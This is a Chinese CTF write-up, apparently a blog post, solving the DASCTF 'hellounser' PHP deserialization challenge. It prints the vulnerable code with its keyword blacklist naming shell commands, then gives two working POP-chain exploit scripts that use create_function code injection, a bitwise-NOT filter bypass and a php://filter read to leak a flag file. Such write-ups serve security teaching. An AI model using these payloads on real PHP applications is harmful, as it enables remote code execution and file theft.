[DASCTF Sept X 浙江工业大学秋季挑战赛]hellounser

hellounser

<?php
class A {
    public $var;
    public function show(){
        echo $this->var;
    }
    public function __invoke(){
        $this->show();
    }
}

class B{
    public $func;
    public $arg;

    public function show(){
        $func = $this->func;           //匹配a-z,0-9,区分大小写
        if(preg_match('/^[a-z0-9]*$/isD', $this->func) ||   preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) {
            die('No!No!No!');
        } else {
            include "flag.php";
            //There is no code to print flag in flag.php
            $func('', $this->arg);
        }
    }

    public function __toString(){
        $this->show();
        return "<br>"."Nice Job!!"."<br>";
    }


}

if(isset($_GET['pop'])){
    $aaa = unserialize($_GET['pop']);
    $aaa();
}
else{
    highlight_file(__FILE__);
}

?> 

前置

__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法

代码审计

最终我们通过B类里的show方法来获得flag,通过A类中var变量来初始化B类,echo调用了__toString从而调用B类中show

分析正则表达式

前面是$func不能是开头到结尾纯数字字母,i是大小写都匹配,s是匹配任何空白符号(空格,制表),D是结尾不是换行符号

这里很好绕过,比如var_dump含有一个_即可绕过。或者开头换行符号都可以

后面是$arg过滤了一大堆东西,都满足就会包含flag.php,但没输出。

同时会把 f u n c 当 作 函 数 名 , 传 入 两 个 参 数 , 一 个 是 空 字 符 串 , 一 个 是 func当作函数名,传入两个参数,一个是空字符串,一个是 funcarg

知识点

create_function()

适用范围:PHP 4> = 4.0.1PHP 5PHP 7

功能:根据传递的参数创建匿名函数,并为其返回唯一名称。

create_function(string $args,string $code)
//string $args 声明的函数变量部分

//string $code 执行的方法代码部分

警告:

这个函数在内部执行eval(),因此具有与eval()相同的安全问题。此外,它还有不好的性能和内存使用特性。

如果你使用的是 PHP 5.3.0 或更高版本,应该使用本地匿名函数来代替。

pop链构造

传入

return(1);}任意代码;//

}会和前面{闭合,后面注释符号会注释后面的{,实现执行任意代码

法一
<?php
class A {
    public $var;
    public function show(){
        echo $this->var;
    }
    public function __invoke(){
        $this->show();
    }
}

class B{
    public $func;
    public $arg;
}

$a = new A();
$b = new B();

$b -> func = 'create_function';
$b -> arg = 'return 1;}require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//'; //包含flag文件并输出
$a -> var = $b;

echo serialize($a);

解析

get_defined_vars() 函数返回由所有已定义变量所组成的数组。
法2

由于过滤了很多东西,我们可以考虑取反绕过,再用伪协议来读取文件内容。

但是还有一个问题是取反后的符号大多数不可打印符号,不方便复制get传入,因此要对他进行url编码

<?php
class A {
    public $var;
    public function show(){
        echo $this->var;
    }
    public function __invoke(){
        $this->show();
    }
}

class B{
    public $func;
    public $arg;
}

$a = new A();
$b = new B();

$ac=(~('php://filter/read=convert.base64-encode/resource=Tru3flag.php'));
$b -> func = 'create_function';
$b -> arg = 'return 1;}require(~('.strval($ac).'));//'; //包含flag文件并输出
$a -> var = $b;

echo urlencode(serialize($a));

解析

strval() 函数用于获取变量的字符串值。

参考:

https://www.cnblogs.com/aninock/p/15336101.html

http://www.snowywar.top/?p=2592

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值